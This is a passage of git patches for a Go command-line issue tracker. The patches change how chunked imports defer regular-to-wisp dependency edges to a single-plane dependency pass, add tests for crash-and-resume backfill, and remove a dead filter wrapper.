deferred-dependency pass", counting.calls) + // 3 row chunks (5/5/2) plus TWO deferred-dependency passes: the regular + // plane (bd-chunk01 -> bd-wisp07) and the wisp plane (bd-wisp02 -> + // bd-wisp07) go in separate transactions, so the cross-bucket edge's + // target is never in its batch. + if counting.calls != 5 { + t.Fatalf("calls = %d, want 3 row chunks + 2 single-plane deferred-dependency passes", counting.calls) } if result.Created != 12 { - t.Fatalf("Created = %d, want 12 (every row imports even when a cross-bucket edge is dropped)", result.Created) + t.Fatalf("Created = %d, want 12", result.Created) } - // The cross-bucket edge is dropped and reported exactly once; the same-bucket - // edge is never reported. - if len(result.SkippedDependencies) != 1 || - !strings.Contains(result.SkippedDependencies[0], "bd-chunk01 -> bd-wisp07") || - !strings.Contains(result.SkippedDependencies[0], "cross-bucket") { - t.Fatalf("SkippedDependencies = %#v, want exactly the cross-bucket bd-chunk01 -> bd-wisp07 edge", result.SkippedDependencies) + // Nothing is skip-reported: the cross-bucket edge is wired, not dropped. + if len(result.SkippedDependencies) != 0 { + t.Fatalf("SkippedDependencies = %#v, want none", result.SkippedDependencies) } - // Both endpoints of the dropped cross-bucket edge still imported (GetIssue - // finds the wisp in the wisps table too). + // Both endpoints of the cross-bucket edge imported (GetIssue finds the wisp + // in the wisps table too). if _, err := store.GetIssue(ctx, "bd-chunk01"); err != nil { t.Fatalf("regular source bd-chunk01 not imported: %v", err) } @@ -655,13 +655,13 @@ func TestImportChunkedMixedRegularWispCrossBucketFiltering(t *testing.T) { t.Fatalf("wisp target bd-wisp07 not imported: %v", err) } - // The cross-bucket edge left no dependency on the regular source. + // The cross-bucket regular -> wisp edge is wired on the regular source. regularDeps, err := store.GetDependencies(ctx, "bd-chunk01") if err != nil { t.Fatalf("GetDependencies(bd-chunk01): %v", err) } - if len(regularDeps) != 0 { - t.Fatalf("bd-chunk01 deps = %#v, want none (cross-bucket edge dropped)", regularDeps) + if len(regularDeps) != 1 || regularDeps[0].ID != "bd-wisp07" { + t.Fatalf("bd-chunk01 deps = %#v, want the cross-bucket edge to bd-wisp07 wired by the dependency pass", regularDeps) } // The same-bucket wisp -> wisp edge survived the chunk boundary and is wired @@ -674,3 +674,96 @@ func TestImportChunkedMixedRegularWispCrossBucketFiltering(t *testing.T) { t.Fatalf("bd-wisp02 deps = %#v, want the same-bucket wisp->wisp edge to bd-wisp07 preserved", wispDeps) } } + +// The wy-4276q8 rollback-drill shape against the real engine: a regular issue +// blocked by a wisp created in the same chunk (deferred edge) and a wisp +// blocked by a regular issue from an earlier chunk (inline edge). The import +// dies after the row chunks and before the dependency pass — where every drill +// attempt died — so the inline edge is durable and the deferred one is not yet; +// re-running the same import must backfill it with nothing skip-reported, and +// a further run must be a no-op for the edges. +func TestImportChunkedCrossBucketBlocksEdgesResumeBackfills(t *testing.T) { + requireEmbeddedDolt(t) + setImportChunkSize(t, 4) + recordImportPauses(t) + setImportProgressBuffer(t) + ctx := context.Background() + store := provisionChunkStore(t) + + // Kahn's ordering yields chunk 0: f1 f2 f3 f4 chunk 1: w1 w2 r1 + // r1 -> w1 is same-chunk cross-bucket (deferred); w2 -> f1 points at an + // earlier chunk (inline). + makeIssues := func() []*types.Issue { + issues := []*types.Issue{ + crossBucketTestIssue("bd-f1", false), + crossBucketTestIssue("bd-f2", false), + crossBucketTestIssue("bd-f3", false), + crossBucketTestIssue("bd-f4", false), + crossBucketTestIssue("bd-w1", true), + crossBucketTestIssue("bd-r1", false), + crossBucketTestIssue("bd-w2", true), + } + issues[5].Dependencies = []*types.Dependency{{IssueID: "bd-r1", DependsOnID: "bd-w1", Type: types.DepBlocks}} + issues[6].Dependencies = []*types.Dependency{{IssueID: "bd-w2", DependsOnID: "bd-f1", Type: types.DepBlocks}} + return issues + } + depIDs := func(id string) []string { + t.Helper() + deps, err := store.GetDependencies(ctx, id) + if err != nil { + t.Fatalf("GetDependencies(%s): %v", id, err) + } + ids := make([]string, 0, len(deps)) + for _, d := range deps { + ids = append(ids, d.ID) + } + return ids + } + + failing := &failNthCreateStore{DoltStorage: store, failOnCall: 3} + if _, err := importIssuesCore(ctx, "", failing, makeIssues(), ImportOptions{SkipPrefixValidation: true}); err == nil { + t.Fatalf("importIssuesCore succeeded, want the simulated crash in the dependency pass") + } + if failing.calls != 3 { + t.Fatalf("calls = %d, want 2 row chunks + the failing dependency pass", failing.calls) + } + for _, id := range []string{"bd-f1", "bd-f2", "bd-f3", "bd-f4", "bd-w1", "bd-r1", "bd-w2"} { + if _, err := store.GetIssue(ctx, id); err != nil { + t.Fatalf("row %s not durable after the crash: %v", id, err) + } + } + if got := depIDs("bd-w2"); len(got) != 1 || got[0] != "bd-f1" { + t.Fatalf("bd-w2 deps after crash = %v, want the inline cross-bucket edge [bd-f1] already durable", got) + } + if got := depIDs("bd-r1"); len(got) != 0 { + t.Fatalf("bd-r1 deps after crash = %v, want none yet (deferred edge lost with the dependency pass)", got) + } + + // The re-run backfills the deferred edge: this is the drill's "re-run + // upsert does not backfill" claim, refuted. + result, err := importIssuesCore(ctx, "", store, makeIssues(), ImportOptions{SkipPrefixValidation: true}) + if err != nil { + t.Fatalf("re-run importIssuesCore: %v", err) + } + if len(result.SkippedDependencies) != 0 { + t.Fatalf("re-run SkippedDependencies = %#v, want none", result.SkippedDependencies) + } + if got := depIDs("bd-r1"); len(got) != 1 || got[0] != "bd-w1" { + t.Fatalf("bd-r1 deps after re-run = %v, want the cross-bucket edge [bd-w1] backfilled", got) + } + if got := depIDs("bd-w2"); len(got) != 1 || got[0] != "bd-f1" { + t.Fatalf("bd-w2 deps after re-run = %v, want [bd-f1] kept", got) + } + + // A third run changes nothing and skips nothing. + result, err = importIssuesCore(ctx, "", store, makeIssues(), ImportOptions{SkipPrefixValidation: true}) + if err != nil { + t.Fatalf("third importIssuesCore: %v", err) + } + if len(result.SkippedDependencies) != 0 { + t.Fatalf("third run SkippedDependencies = %#v, want none", result.SkippedDependencies) + } + if got := depIDs("bd-r1"); len(got) != 1 || got[0] != "bd-w1" { + t.Fatalf("bd-r1 deps after third run = %v, want [bd-w1]", got) + } +} diff --git a/cmd/bd/import_chunking_test.go b/cmd/bd/import_chunking_test.go index bdcf8119b..14eb3e278 100644 --- a/cmd/bd/import_chunking_test.go +++ b/cmd/bd/import_chunking_test.go @@ -24,16 +24,19 @@ import ( // helpers below are reused by both files. type chunkRecordingStore struct { storage.DoltStorage - batches [][]*types.Issue - calls int - failOnCall int + batches [][]*types.Issue + // conflictSkip records opts.ConflictSkip per batch: true marks a + // dependency-pass transaction, false a phase-1 row chunk. + conflictSkip []bool + calls int + failOnCall int } func (f *chunkRecordingStore) GetIssuesByIDs(_ context.Context, _ []string) ([]*types.Issue, error) { return nil, nil } -func (f *chunkRecordingStore) CreateIssuesWithFullOptions(_ context.Context, issues []*types.Issue, _ string, _ storage.BatchCreateOptions) error { +func (f *chunkRecordingStore) CreateIssuesWithFullOptions(_ context.Context, issues []*types.Issue, _ string, opts storage.BatchCreateOptions) error { f.calls++ if f.failOnCall != 0 && f.calls == f.failOnCall { return errors.New("simulated chunk failure") @@ -45,6 +48,7 @@ func (f *chunkRecordingStore) CreateIssuesWithFullOptions(_ context.Context, iss snapshot[i] = &cp } f.batches = append(f.batches, snapshot) + f.conflictSkip = append(f.conflictSkip, opts.ConflictSkip) return nil } @@ -336,3 +340,205 @@ func TestOrderImportIssuesForChunkingPlacesCycleBeforeDependent(t *testing.T) { pos["bd-chunk03"], pos["bd-chunk01"]) } } + +func crossBucketTestIssue(id string, wisp bool) *types.Issue { + issue := &types.Issue{ID: id, Title: id, UpdatedAt: time.Date(2026, 6, 1, 12, 0, 0, 0, time.UTC), Ephemeral: wisp} + issue.SetDefaults() + return issue +} + +// assertNoSameBatchCrossBucketEdge fails if any recorded batch carries an edge +// whose target is a row of that same batch on the other plane — the exact +// shape the engine's per-batch cross-bucket filter skip-reports as a +// cross-bucket dependency. It also fails if an edge commits +// before its target row exists (target first written in a later batch). +func assertNoSameBatchCrossBucketEdge(t *testing.T, store *chunkRecordingStore) { + t.Helper() + firstBatchOf := map[string]int{} + wispByID := map[string]bool{} + for b, batch := range store.batches { + for _, issue := range batch { + if _, ok := firstBatchOf[issue.ID]; !ok { + firstBatchOf[issue.ID] = b + } + wispByID[issue.ID] = issue.Ephemeral + } + } + for b, batch := range store.batches { + inBatch := map[string]bool{} + for _, issue := range batch { + inBatch[issue.ID] = true + } + for _, issue := range batch { + for _, dep := range issue.Dependencies { + tb, ok := firstBatchOf[dep.DependsOnID] + if !ok { + t.Fatalf("dependency target %s never written", dep.DependsOnID) + } + if tb > b { + t.Fatalf("batch %d: %s -> %s commits before its target exists (target first written in batch %d)", b, issue.ID, dep.DependsOnID, tb) + } + if inBatch[dep.DependsOnID] && wispByID[issue.ID] != wispByID[dep.DependsOnID] { + t.Fatalf("batch %d: %s -> %s is a regular<->wisp edge whose target is in the same batch; the engine would skip-report it as cross-bucket", b, issue.ID, dep.DependsOnID) + } + } + } + } +} + +// depTargetsIn returns the dependency targets batch b carries for issue id. +func depTargetsIn(store *chunkRecordingStore, b int, id string) []string { + var targets []string + for _, issue := range store.batches[b] { + if issue.ID != id { + continue + } + for _, dep := range issue.Dependencies { + targets = append(targets, dep.DependsOnID) + } + } + return targets +} + +// A regular<->wisp edge whose endpoints are created in the same chunk cannot be +// wired in that chunk's transaction (the engine's per-batch cross-bucket +// filter skip-reports it), so the +// import must defer it to the dependency pass, while one into an earlier chunk +// points at a committed row and rides inline. Every dependency-pass +// transaction must be single-plane, or a deferred edge's target could sit in +// the same batch on the other plane and be skipped all over again. Pre-fix the +// import filtered every in-batch cross-bucket edge out up front and reported +// it skipped — export→import lost every such edge, and a re-run could never +// backfill it (wy-4276q8). +func TestImportChunkedCrossBucketEdgesDeferredToSinglePlanePass(t *testing.T) { + setImportChunkSize(t, 4) + recordImportPauses(t) + setImportProgressBuffer(t) + // File order and blocking edges chosen so that Kahn's ordering (indegree-0 + // rows in file order, dependents released behind them) yields + // chunk 0: f1 f2 f3 f4 chunk 1: w1 r2 w3 r1 chunk 2: w2 + // r1 -> w1 lands in the same chunk as its wisp target (must defer); + // w3 -> f1 and w2 -> r2 point at earlier chunks (must ride inline). + issues := []*types.Issue{ + crossBucketTestIssue("bd-f1", false), + crossBucketTestIssue("bd-f2", false), + crossBucketTestIssue("bd-f3", false), + crossBucketTestIssue("bd-f4", false), + crossBucketTestIssue("bd-w1", true), + crossBucketTestIssue("bd-r1", false), + crossBucketTestIssue("bd-w2", true), + crossBucketTestIssue("bd-r2", false), + crossBucketTestIssue("bd-w3", true), + } + issues[5].Dependencies = []*types.Dependency{{IssueID: "bd-r1", DependsOnID: "bd-w1", Type: types.DepBlocks}} + issues[6].Dependencies = []*types.Dependency{{IssueID: "bd-w2", DependsOnID: "bd-r2", Type: types.DepBlocks}} + issues[8].Dependencies = []*types.Dependency{{IssueID: "bd-w3", DependsOnID: "bd-f1", Type: types.DepBlocks}} + + store := &chunkRecordingStore{} + result, err := importIssuesCore(context.Background(), "", store, issues, ImportOptions{SkipPrefixValidation: true}) + if err != nil { + t.Fatalf("importIssuesCore: %v", err) + } + if store.calls != 4 { + t.Fatalf("calls = %d, want 3 row chunks + 1 single-plane dependency pass", store.calls) + } + for b := 0; b < 3; b++ { + if store.conflictSkip[b] { + t.Fatalf("batch %d is a row chunk but was submitted with ConflictSkip", b) + } + } + if !store.conflictSkip[3] { + t.Fatalf("batch 3 must be the dependency pass (ConflictSkip)") + } + assertNoSameBatchCrossBucketEdge(t, store) + + // The same-chunk cross-bucket edge is stripped from its row write and wired + // by the pass; the pass carries only that row. + if got := depTargetsIn(store, 1, "bd-r1"); len(got) != 0 { + t.Fatalf("bd-r1 row chunk carries deps %v, want none (same-chunk wisp target must be deferred)", got) + } + if len(store.batches[3]) != 1 || store.batches[3][0].ID != "bd-r1" { + t.Fatalf("dependency pass rows = %v, want exactly bd-r1", store.batches[3]) + } + if got := depTargetsIn(store, 3, "bd-r1"); len(got) != 1 || got[0] != "bd-w1" { + t.Fatalf("dependency pass deps for bd-r1 = %v, want [bd-w1]", got) + } + // Cross-bucket edges into earlier chunks ride inline with their rows. + if got := depTargetsIn(store, 1, "bd-w3"); len(got) != 1 || got[0] != "bd-f1" { + t.Fatalf("bd-w3 inline deps = %v, want [bd-f1]", got) + } + if got := depTargetsIn(store, 2, "bd-w2"); len(got) != 1 || got[0] != "bd-r2" { + t.Fatalf("bd-w2 inline deps = %v, want [bd-r2]", got) + } + if result.Created != 9 { + t.Fatalf("Created = %d, want 9", result.Created) + } + if len(result.SkippedDependencies) != 0 { + t.Fatalf("SkippedDependencies = %#v, want none", result.SkippedDependencies) + } + // The caller's slice keeps its dependencies for a retry. + for _, i := range []int{5, 6, 8} { + if len(issues[i].Dependencies) != 1 { + t.Fatalf("issue %s lost its dependency after import", issues[i].ID) + } + } +} + +// A small import (at or below the chunk size) keeps its single transaction +// unless it carries a regular<->wisp edge between two of its own rows: that +// edge would be skip-reported by the engine's per-batch cross-bucket filter, +// so the import takes the chunked path and the edge lands in a dependency pass +// instead of being skip-reported. +func TestImportIssuesCoreSmallBatchCrossBucketEdgeTakesDependencyPass(t *testing.T) { + setImportChunkSize(t, 4) + recordImportPauses(t) + setImportProgressBuffer(t) + + wisp := crossBucketTestIssue("bd-w1", true) + regular := crossBucketTestIssue("bd-r1", false) + regular.Dependencies = []*types.Dependency{{IssueID: "bd-r1", DependsOnID: "bd-w1", Type: types.DepBlocks}} + issues := []*types.Issue{wisp, regular} + + store := &chunkRecordingStore{} + result, err := importIssuesCore(context.Background(), "", store, issues, ImportOptions{SkipPrefixValidation: true}) + if err != nil { + t.Fatalf("importIssuesCore: %v", err) + } + if store.calls != 2 { + t.Fatalf("calls = %d, want 1 row chunk + 1 dependency pass for a small import with a cross-bucket edge", store.calls) + } + if store.conflictSkip[0] || !store.conflictSkip[1] { + t.Fatalf("conflictSkip = %v, want [false true] (row chunk, then dependency pass)", store.conflictSkip) + } + if len(store.batches[0]) != 2 { + t.Fatalf("row chunk size = %d, want both rows", len(store.batches[0])) + } + assertNoSameBatchCrossBucketEdge(t, store) + if got := depTargetsIn(store, 0, "bd-r1"); len(got) != 0 { + t.Fatalf("row chunk carries %v for bd-r1, want none", got) + } + if got := depTargetsIn(store, 1, "bd-r1"); len(got) != 1 || got[0] != "bd-w1" { + t.Fatalf("dependency pass deps for bd-r1 = %v, want [bd-w1]", got) + } + if result.Created != 2 { + t.Fatalf("Created = %d, want 2", result.Created) + } + if len(regular.Dependencies) != 1 { + t.Fatalf("caller's issue lost its dependency after import") + } + + // Control: the same shape on one plane stays a single inline transaction. + a := crossBucketTestIssue("bd-r2", false) + b := crossBucketTestIssue("bd-r3", false) + b.Dependencies = []*types.Dependency{{IssueID: "bd-r3", DependsOnID: "bd-r2", Type: types.DepBlocks}} + single := &chunkRecordingStore{} + if _, err := importIssuesCore(context.Background(), "", single, []*types.Issue{a, b}, ImportOptions{SkipPrefixValidation: true}); err != nil { + t.Fatalf("importIssuesCore (same-plane control): %v", err) + } + if single.calls != 1 || single.conflictSkip[0] { + t.Fatalf("same-plane small import: calls = %d conflictSkip = %v, want one inline transaction", single.calls, single.conflictSkip) + } + if got := depTargetsIn(single, 0, "bd-r3"); len(got) != 1 || got[0] != "bd-r2" { + t.Fatalf("same-plane small import deps = %v, want inline [bd-r2]", got) + } +} diff --git a/cmd/bd/import_from_jsonl_test.go b/cmd/bd/import_from_jsonl_test.go index 21b9e67b5..f2bddb03d 100644 --- a/cmd/bd/import_from_jsonl_test.go +++ b/cmd/bd/import_from_jsonl_test.go @@ -400,7 +400,7 @@ func TestImportFromLocalJSONL(t *testing.T) { } }) - t.Run("skips mixed regular and wisp in-batch dependencies instead of aborting import", func(t *testing.T) { + t.Run("wires mixed regular and wisp in-batch dependencies through the dependency pass", func(t *testing.T) { tmpDir := t.TempDir() dbPath := filepath.Join(tmpDir, "dolt") store := newTestStore(t, dbPath) @@ -440,9 +440,11 @@ func TestImportFromLocalJSONL(t *testing.T) { if result.Created != 2 { t.Fatalf("Created = %d, want 2", result.Created) } - if got := strings.Join(result.SkippedDependencies, "\n"); !strings.Contains(got, "test-mixed-regular -> test-mixed-wisp") || - !strings.Contains(got, "cross-bucket dependency") { - t.Fatalf("SkippedDependencies = %#v, want mixed regular/wisp dependency detail", result.SkippedDependencies) + // The engine's per-batch cross-bucket filter would skip-report the + // regular -> wisp edge in a mixed batch, so the import defers it to a + // single-plane dependency pass instead (wy-4276q8). + if len(result.SkippedDependencies) != 0 { + t.Fatalf("SkippedDependencies = %#v, want none", result.SkippedDependencies) } for _, id := range []string{"test-mixed-regular", "test-mixed-wisp"} { @@ -454,8 +456,8 @@ func TestImportFromLocalJSONL(t *testing.T) { if err != nil { t.Fatalf("GetDependencyRecords(test-mixed-regular): %v", err) } - if len(deps) != 0 { - t.Fatalf("test-mixed-regular deps = %#v, want none", deps) + if len(deps) != 1 || deps[0].DependsOnID != "test-mixed-wisp" { + t.Fatalf("test-mixed-regular deps = %#v, want the regular -> wisp edge wired by the dependency pass", deps) } }) diff --git a/cmd/bd/import_shared.go b/cmd/bd/import_shared.go index 85fa570ca..a72375bbb 100644 --- a/cmd/bd/import_shared.go +++ b/cmd/bd/import_shared.go @@ -188,9 +188,13 @@ func importIssuesCore(ctx context.Context, _ string, store storage.DoltStorage, }, } var err error - if len(issues) <= importChunkSize { + if len(issues) <= importChunkSize && !hasCrossBucketBatchEdge(issues) { // Small import: one transaction, dependencies inline — exactly the - // pre-chunking behavior. + // pre-chunking behavior. A batch carrying a regular<->wisp edge takes + // the chunked path instead: the engine's per-batch cross-bucket filter + // (issueops.filterCreateIssuesMixedBucketDependencies) skip-reports + // such an edge whenever both endpoints are rows of one mixed batch, so + // it needs the single-plane dependency pass. err = store.CreateIssuesWithFullOptions(ctx, issues, actor, batchOpts) } else { err = importIssuesChunked(ctx, store, issues, actor, batchOpts) @@ -253,20 +257,30 @@ func assembleImportResult(issues []*types.Issue, staleSkippedIDs []string, chang // or an earlier chunk — Kahn's order for the acyclic majority, plus a // cycle-breaking fallback that still emits each cycle member before the rows it // blocks — so that edge rides inline with its row and both commit in one -// transaction. Only a force-emitted cycle member can carry a readiness edge into -// the deferred pass, and that is the already-tolerated corrupt/legacy-cycle -// window. A concurrent reader therefore never observes a non-cycle imported bead -// without the blocking edges its import file declares — -// `bd ready` mid-import cannot offer blocked work for dispatch, and a crash -// mid-import cannot freeze a bead in a spuriously-ready state. +// transaction. Only a force-emitted cycle member — or a row whose blocker is a +// same-chunk row on the other plane (regular<->wisp, see below) — can carry a +// readiness edge into the deferred pass. Outside those two cases a concurrent +// reader never observes an imported bead without the blocking edges its +// import file declares; for the cross-bucket case the window lasts until the +// dependency pass, and a crash before it leaves the bead spuriously ready until +// the import is re-run (which backfills the edge). // // Only edges that cannot be satisfied when their row commits are deferred to // a final dependency pass: edges into an intra-batch dependency cycle // (invalid for blocking types; still broken and skip-reported at wire time, // though for a cycle of length >=3 the specific edge dropped — and thus which // member is left spuriously ready — can differ from the single-transaction -// import, which checks the whole cycle in file order) and non-readiness edges -// (related, discovered-from) that point at a later chunk. The dependency pass submits +// import, which checks the whole cycle in file order), non-readiness edges +// (related, discovered-from) that point at a later chunk, and regular<->wisp +// edges whose target is first written in the same chunk: the engine's +// per-batch cross-bucket filter (issueops.filterCreateIssuesMixedBucketDependencies) +// skip-reports any regular<->wisp edge whose endpoints are both rows of one +// mixed batch, whatever the transaction layout. Deferring such an edge opens +// a ready window like a cycle member's deferred edge — and a common one, since +// Kahn's order tends to place a blocker directly before its dependent, i.e. in +// the same chunk; dropping it — the import's former policy — lost it for good, +// and a re-run could never backfill it (wy-4276q8: every regular<->wisp +// `blocks` edge of a wyvern export was lost on restore). The dependency pass submits // row copies stripped to those deferred edges with ConflictSkip set, so an // existing row is never rewritten: a concurrent update landing between a // row's chunk and the dependency pass cannot stale-reject the pass and drop @@ -285,16 +299,17 @@ func assembleImportResult(issues []*types.Issue, staleSkippedIDs []string, chang // still-unwired deferred edges), reported in StaleSkippedIDs. That is the // same local-wins outcome the single-transaction import gave a rival update // racing a crashed import, and it can only affect deferred edges (non-readiness -// edges, plus the readiness edges of force-emitted cycle members); every -// non-cycle row's readiness edges commit with their row. +// edges, the readiness edges of force-emitted cycle members, and same-chunk +// regular<->wisp readiness edges); every other readiness edge commits with its +// row. func importIssuesChunked(ctx context.Context, store storage.DoltStorage, issues []*types.Issue, actor string, opts storage.BatchCreateOptions) error { - // Apply the cross-bucket dependency policy over the full set up front: - // the engine's per-batch filter only sees one chunk, so it could no - // longer detect an edge whose endpoints land in different chunks. - issues, err := issueops.FilterCreateIssuesMixedBucketDependencies(issues, opts) - if err != nil { - return err - } + // Cross-bucket (regular<->wisp) edges are deliberately NOT filtered out + // up front. The engine's per-batch filter skip-reports such an edge only + // when both endpoints are rows of one mixed batch, so + // partitionChunkedImportDeps defers one whose target lands in the same or + // a later chunk to the single-plane dependency pass and wires one into an + // earlier chunk inline (its target is then a committed row outside the + // batch). See the ordering notes above. ordered := orderImportIssuesForChunking(issues) // Partitioning narrows each issue's dependency slice to its inline subset in @@ -360,9 +375,13 @@ type deferredImportEdges struct { // chunk, so only non-readiness edges (related, discovered-from) into a later // chunk and the readiness edges of force-emitted cycle members (their own cyclic // edges, plus any acyclic blocker they were emitted ahead of) are ever deferred -// here. +// here — plus regular<->wisp edges whose target is first written in the same +// chunk (see splitDepsByChunk). func partitionChunkedImportDeps(ordered []*types.Issue) []deferredImportEdges { firstChunkOf := make(map[string]int, len(ordered)) + // Last row wins for the bucket, mirroring the engine's own per-batch + // cross-bucket check (issueops.filterCreateIssuesMixedBucketDependencies). + wispByID := make(map[string]bool, len(ordered)) for pos, issue := range ordered { if issue.ID == "" { continue // ID assigned by the engine at insert; nothing can reference it yet @@ -370,13 +389,14 @@ func partitionChunkedImportDeps(ordered []*types.Issue) []deferredImportEdges { if _, ok := firstChunkOf[issue.ID]; !ok { firstChunkOf[issue.ID] = pos / importChunkSize } + wispByID[issue.ID] = issueops.IsWisp(issue) } var deferred []deferredImportEdges for pos, issue := range ordered { if len(issue.Dependencies) == 0 { continue } - inline, later := splitDepsByChunk(issue.Dependencies, pos/importChunkSize, firstChunkOf) + inline, later := splitDepsByChunk(issue.Dependencies, pos/importChunkSize, issueops.IsWisp(issue), firstChunkOf, wispByID) if len(later) == 0 { continue } @@ -387,11 +407,26 @@ func partitionChunkedImportDeps(ordered []*types.Issue) []deferredImportEdges { } // splitDepsByChunk partitions one row's dependencies (the row lands in rowChunk) -// into edges that can be wired inline and edges whose target is first written in -// a later chunk and so must be deferred. -func splitDepsByChunk(deps []*types.Dependency, rowChunk int, firstChunkOf map[string]int) (inline, later []*types.Dependency) { +// into edges that can be wired inline and edges that must be deferred: the +// target is first written in a later chunk, or the edge crosses the +// regular/wisp bucket boundary and its target is first written in the SAME +// chunk. The engine's per-batch cross-bucket filter skip-reports a +// regular<->wisp edge whose endpoints are both rows of one mixed batch, and +// the import would lose it (wy-4276q8). A cross-bucket edge into an earlier +// chunk points at a committed row outside the batch and rides inline like any +// other. +func splitDepsByChunk(deps []*types.Dependency, rowChunk int, rowIsWisp bool, firstChunkOf map[string]int, wispByID map[string]bool) (inline, later []*types.Dependency) { for _, dep := range deps { - if targetChunk, inBatch := firstChunkOf[dep.DependsOnID]; inBatch && targetChunk > rowChunk { + if dep == nil { + inline = append(inline, dep) + continue + } + targetChunk, inBatch := firstChunkOf[dep.DependsOnID] + if inBatch && targetChunk > rowChunk { + later = append(later, dep) + continue + } + if inBatch && targetChunk == rowChunk && crossesBucket(dep, rowIsWisp, wispByID) { later = append(later, dep) continue } @@ -400,6 +435,48 @@ func splitDepsByChunk(deps []*types.Dependency, rowChunk int, firstChunkOf map[s return inline, later } +// crossesBucket reports whether dep joins a regular issue and a wisp. The +// source bucket is the owning row's unless the edge names another batch row +// as its source, mirroring the engine's per-batch check; the target must be a +// batch row (wispByID is keyed by batch IDs), so callers check membership. +func crossesBucket(dep *types.Dependency, rowIsWisp bool, wispByID map[string]bool) bool { + sourceIsWisp := rowIsWisp + if dep.IssueID != "" { + if isWisp, ok := wispByID[dep.IssueID]; ok { + sourceIsWisp = isWisp + } + } + return sourceIsWisp != wispByID[dep.DependsOnID] +} + +// hasCrossBucketBatchEdge reports whether any row's dependency points at +// another row of the same batch on the other plane (regular<->wisp). The +// engine's per-batch cross-bucket filter would skip-report such an edge, so an +// import carrying one must take the chunked path and defer it to the +// single-plane dependency pass. +func hasCrossBucketBatchEdge(issues []*types.Issue) bool { + wispByID := make(map[string]bool, len(issues)) + for _, issue := range issues { + if issue != nil && issue.ID != "" { + wispByID[issue.ID] = issueops.IsWisp(issue) + } + } + for _, issue := range issues { + if issue == nil { + continue + } + for _, dep := range issue.Dependencies { + if dep == nil { + continue + } + if _, inBatch := wispByID[dep.DependsOnID]; inBatch && crossesBucket(dep, issueops.IsWisp(issue), wispByID) { + return true + } + } + } + return false +} + // writeImportRowChunks writes the ordered rows (dependencies already narrowed to // their inline subset) in bounded transactions, pausing between commits. func writeImportRowChunks(ctx context.Context, store storage.DoltStorage, ordered []*types.Issue, actor string, rowOpts storage.BatchCreateOptions, pacer *importChunkPacer) error { @@ -446,19 +523,58 @@ func wireDeferredImportDeps(ctx context.Context, store storage.DoltStorage, defe // callback unset keeps a phase-2 signal from ever misreporting a row // whose phase-1 write committed. depOpts.OnStaleRejected = nil + // Regular-source rows and wisp-source rows go in separate transactions. + // The engine's per-batch cross-bucket filter + // (issueops.filterCreateIssuesMixedBucketDependencies) skip-reports a + // regular<->wisp edge whose target row is in the same mixed batch, and a + // deferred cross-bucket edge's target may itself carry deferred edges — a + // mixed batch could re-trigger exactly the skip this pass exists to avoid. + // The filter short-circuits on a single-plane batch, so with every batch + // on one plane nothing can be filtered, and every target is a committed + // phase-1 row. depTotal := len(depRows) - depChunks := (depTotal + importChunkSize - 1) / importChunkSize - for start, chunk := 0, 1; start < depTotal; start, chunk = start+importChunkSize, chunk+1 { - end := min(start+importChunkSize, depTotal) - pacer.beforeTx() - if err := store.CreateIssuesWithFullOptions(ctx, depRows[start:end], actor, depOpts); err != nil { - return fmt.Errorf("import dependency pass chunk %d/%d failed (all %d issue rows are committed; re-run the import to resume — it converges): %w", chunk, depChunks, rowTotal, err) + planes := splitDepRowsByBucket(depRows) + depChunks := 0 + for _, plane := range planes { + depChunks += (len(plane) + importChunkSize - 1) / importChunkSize + } + wired, chunk := 0, 1 + for _, plane := range planes { + for start := 0; start < len(plane); start += importChunkSize { + end := min(start+importChunkSize, len(plane)) + pacer.beforeTx() + if err := store.CreateIssuesWithFullOptions(ctx, plane[start:end], actor, depOpts); err != nil { + return fmt.Errorf("import dependency pass chunk %d/%d failed (all %d issue rows are committed; re-run the import to resume — it converges): %w", chunk, depChunks, rowTotal, err) + } + wired += end - start + chunk++ + fmt.Fprintf(importProgress, "bd import: deferred dependencies wired for %d/%d issues\n", wired, depTotal) //nolint:gosec // G705: stderr, not a browser context } - fmt.Fprintf(importProgress, "bd import: deferred dependencies wired for %d/%d issues\n", end, depTotal) //nolint:gosec // G705: stderr, not a browser context } return nil } +// splitDepRowsByBucket partitions dependency-pass rows into the regular plane +// and the wisp plane, each in its original order; an empty plane is omitted. +func splitDepRowsByBucket(rows []*types.Issue) [][]*types.Issue { + var regular, wisp []*types.Issue + for _, row := range rows { + if issueops.IsWisp(row) { + wisp = append(wisp, row) + } else { + regular = append(regular, row) + } + } + var planes [][]*types.Issue + if len(regular) > 0 { + planes = append(planes, regular) + } + if len(wisp) > 0 { + planes = append(planes, wisp) + } + return planes +} + // orderImportIssuesForChunking returns the issues reordered so that every valid // readiness-affecting edge (blocks, parent-child, conditional-blocks, waits-for; // the types GetReadyWork consults) points at a row in the same or an earlier From 0efe0adf5eb9902f93b08f50611883b7deef0e39 Mon Sep 17 00:00:00 2001 From: Bee Date: Tue, 1 Sep 2026 03:47:06 -0700 Subject: [PATCH 008/624] wy-p0c7ut: remove dead mixed-bucket filter wrapper --- internal/storage/issueops/create.go | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/internal/storage/issueops/create.go b/internal/storage/issueops/create.go index b55d04596..1230b378d 100644 --- a/internal/storage/issueops/create.go +++ b/internal/storage/issueops/create.go @@ -386,17 +386,6 @@ func ValidateCreateIssuesMixedBucketDependencies(issues []*types.Issue) error { return err } -// FilterCreateIssuesMixedBucketDependencies applies the same cross-bucket -// dependency policy as CreateIssuesInTx, but over the full issue set. Callers -// that split one logical batch into bounded sub-batches (chunked import) must -// run this once up front: the per-batch filter inside the engine only sees one -// sub-batch, so it could no longer detect an edge whose endpoints land in -// different chunks. Filtered edges are reported via opts.OnSkippedDependency; -// issues whose dependency list changes are copied, never mutated. -func FilterCreateIssuesMixedBucketDependencies(issues []*types.Issue, opts storage.BatchCreateOptions) ([]*types.Issue, error) { - return filterCreateIssuesMixedBucketDependencies(issues, opts) -} - func filterCreateIssuesMixedBucketDependencies(issues []*types.Issue, opts storage.BatchCreateOptions) ([]*types.Issue, error) { batchWispByID := make(map[string]bool, len(issues)) hasRegular := false From fa53c7e2a6b4c3d00fea631d29926d1df165f02d Mon Sep 17 00:00:00 2001 From: Bee Date: Tue, 1 Sep 2026 05:23:00 -0700 Subject: [PATCH 009/624] ci(main): bound the Test matrix's per-package deadline (wy-5b5fbl) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Both legs of main.yml's `test` matrix run every package in one `./...` invocation with no `-timeout`, so they rode go test's DEFAULT 10m per-package deadline. cmd/bd has outgrown it: scripts/test.sh already documents the floor for local runs (~1090s of test time / ~18min wall for cmd/bd, 